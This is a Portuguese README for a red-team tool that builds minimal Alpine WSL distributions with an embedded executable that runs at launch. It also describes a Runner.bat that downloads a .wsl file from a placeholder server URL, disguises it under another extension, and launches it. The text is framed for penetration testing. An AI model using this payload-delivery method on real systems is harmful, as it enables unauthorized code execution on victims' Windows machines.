
Um poderoso script de shell para criar distribuições WSL (Windows Subsystem for Linux) personalizadas com payloads embutidos.
Esta ferramenta destina-se a pesquisa legítima de segurança e testes de penetração. Os usuários são responsáveis por garantir que possuem autorização adequada antes de testar sistemas que não possuem ou para os quais não têm permissão explícita para testar.
Um script de shell para criar distribuições WSL (Subsistema Windows para Linux) mínimas com payloads incorporados. Esta ferramenta automatiza o processo de construção de distribuições WSL baseadas em Alpine Linux que podem executar payloads personalizados na inicialização.
O script Build_WSL_Payload.sh baixa o rootfs mais recente do Alpine Linux, personaliza-o para uso no WSL, incorpora um executável especificado pelo usuário e empacota tudo em um arquivo .wsl distribuível.
O Runner.bat baixará o arquivo de configuração do WSL a partir da URL fornecida e o iniciará (instalará o WSL se não estiver presente e houver direitos de administrador disponíveis)
Isto é particularmente útil para testes de penetração, pesquisa de segurança e criação de ambientes WSL personalizados.
-N, --name: Especifique o nome padrão da distribuição para o WSL-P, --payload: Especifique o caminho para o arquivo executável do payload-H, --help: Exiba o menu de ajuda# Build a WSL distribution named "CalcWSL" with a custom payload
./Build_WSL_Payload.sh -N CalcWSL -P ./Calc.exe
Opção 1. Clique duplo - Clicar duas vezes no arquivo WSL executará o payload, mas também abrirá um prompt de comando que deverá ser fechado manualmente. (Não recomendado)
Opção 2. Use o arquivo Runner.bat
C:\Users\USER_NAME> .\Runner.bat
O script Runner.bat automaticamente:
Edite as variáveis no topo do Runner.bat para personalizar:
set "DOWNLOAD_URL=https://your-server.com/payload.wsl"
set "WSL_FILE=payload.log" # Still testing but can use most file extensions here.
Este projeto foi inspirado e baseia-se nas pesquisas e técnicas documentadas no repositório dmcxblue/WSL-Payloads, que fornece informações valiosas sobre o armamento do formato de arquivo WSL e pesquisa de segurança.
Licença MIT
A permissão é, por meio deste, concedida, gratuitamente, a qualquer pessoa que obtenha uma cópia deste software e dos arquivos de documentação associados (o "Software"), para lidar com o Software sem restrições, incluindo, sem limitação, os direitos de usar, copiar, modificar, fundir, publicar, distribuir, sublicenciar e/ou vender cópias do Software, e permitir que as pessoas a quem o Software for fornecido o façam, sujeitas às seguintes condições:
O aviso de direitos autorais acima e este aviso de permissão deverão ser incluídos em todas as cópias ou partes substanciais do Software.
O SOFTWARE É FORNECIDO "NO ESTADO EM QUE SE ENCONTRA", SEM GARANTIA DE QUALQUER TIPO, EXPRESSA OU IMPLÍCITA, INCLUINDO, MAS NÃO SE LIMITANDO ÀS GARANTIAS DE COMERCIABILIDADE, ADEQUAÇÃO A UM DETERMINADO FIM E NÃO VIOLAÇÃO. EM NENHUM CASO OS AUTORES OU TITULARES DOS DIREITOS AUTORAIS SERÃO RESPONSÁVEIS POR QUALQUER RECLAMAÇÃO, DANOS OU OUTRA RESPONSABILIDADE, SEJA EM AÇÃO DE CONTRATO, ATO ILÍCITO OU DE OUTRA FORMA, DECORRENTE DE, OU EM CONEXÃO COM, O SOFTWARE OU O USO OU OUTRAS NEGOCIAÇÕES NO SOFTWARE.